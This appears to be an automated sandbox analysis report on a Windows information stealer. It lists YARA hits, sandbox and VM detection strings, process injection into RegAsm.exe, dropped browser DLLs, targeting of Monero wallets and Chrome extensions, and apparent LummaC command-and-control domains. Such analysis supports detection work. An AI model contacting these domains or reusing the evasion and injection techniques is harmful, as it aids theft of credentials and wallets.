Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2585998316.000000000043A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2293601659.000000000346E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1700, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 0000001B.00000002.2585998316.000000000043A000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:07:4116:07:4116:07:4116:07:4116:07:4116:07:41DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 27E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory allocated: 1250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory allocated: 820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory allocated: 2430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory allocated: 2230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory allocated: 14C0000 memory reserve \| memory write watch
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory allocated: 2F50000 memory reserve \| memory write watch
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory allocated: 4F50000 memory reserve \| memory write watch
Source: C:\Users\userBAAAAKJKJE.exe	Memory allocated: 17D0000 memory reserve \| memory write watch
Source: C:\Users\userBAAAAKJKJE.exe	Memory allocated: 3230000 memory reserve \| memory write watch
Source: C:\Users\userBAAAAKJKJE.exe	Memory allocated: 5230000 memory reserve \| memory write watch
Source: C:\Users\userAFIDGDBGCA.exe	Memory allocated: AD0000 memory reserve \| memory write watch
Source: C:\Users\userAFIDGDBGCA.exe	Memory allocated: 2520000 memory reserve \| memory write watch
Source: C:\Users\userAFIDGDBGCA.exe	Memory allocated: 22C0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

2_2_0040180D

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userBAAAAKJKJE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userAFIDGDBGCA.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\IIJKJDAFHJ.exe

Window / User API: threadDelayed 384

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.1 %

Source: C:\Users\user\Desktop\file.exe TID: 4108	Thread sleep count: 294 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2872	Thread sleep count: 196 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe TID: 6260	Thread sleep count: 196 > 30	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe TID: 6260	Thread sleep count: 299 > 30	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe TID: 2256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6484	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe TID: 5480	Thread sleep count: 295 > 30	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe TID: 5480	Thread sleep count: 203 > 30	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe TID: 2648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe TID: 6688	Thread sleep count: 384 > 30
Source: C:\ProgramData\IIJKJDAFHJ.exe TID: 6688	Thread sleep count: 107 > 30
Source: C:\ProgramData\IIJKJDAFHJ.exe TID: 6676	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 3332	Thread sleep count: 67 > 30
Source: C:\Users\userBAAAAKJKJE.exe TID: 4992	Thread sleep count: 293 > 30
Source: C:\Users\userBAAAAKJKJE.exe TID: 4992	Thread sleep count: 195 > 30
Source: C:\Users\userBAAAAKJKJE.exe TID: 4884	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\userAFIDGDBGCA.exe TID: 6128	Thread sleep count: 195 > 30
Source: C:\Users\userAFIDGDBGCA.exe TID: 6128	Thread sleep count: 298 > 30
Source: C:\Users\userAFIDGDBGCA.exe TID: 4164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5272	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

2_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	2_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	2_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

2_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00410FBA GetSystemInfo,wsprintfA,

2_2_00410FBA

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userBAAAAKJKJE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userAFIDGDBGCA.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001015000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.000000000117C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541287288.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541565506.00000000012DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000111A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0\
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7@
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000111A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-76353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-76337
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-77668

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00446170 LdrInitializeThunk,

9_2_00446170

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0041D016

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_00418950

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004014AD mov eax, dword ptr fs:[00000030h]	2_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040148A mov eax, dword ptr fs:[00000030h]	2_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004014A2 mov eax, dword ptr fs:[00000030h]	2_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00418599 mov eax, dword ptr fs:[00000030h]	2_2_00418599
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041859A mov eax, dword ptr fs:[00000030h]	2_2_0041859A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA,

2_2_0040884C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041D016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D98C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041D98C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042762E SetUnhandledExceptionFilter,	2_2_0042762E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C13B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6C13B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C13B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C13B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C2EAC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IIJKJDAFHJ.exe PID: 7152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6724, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userBAAAAKJKJE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userAFIDGDBGCA.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_027E212D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_027E212D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: absorptioniw.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: mysterisop.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: snarlypagowo.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: treatynreit.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: chorusarorp.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: abnomalrkmu.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: soldiefieop.site
Source: GDBFCGIIIJ.exe, 00000007.00000002.2265563842.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: questionsmw.stor

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		2_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		2_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A89008	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B22008	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
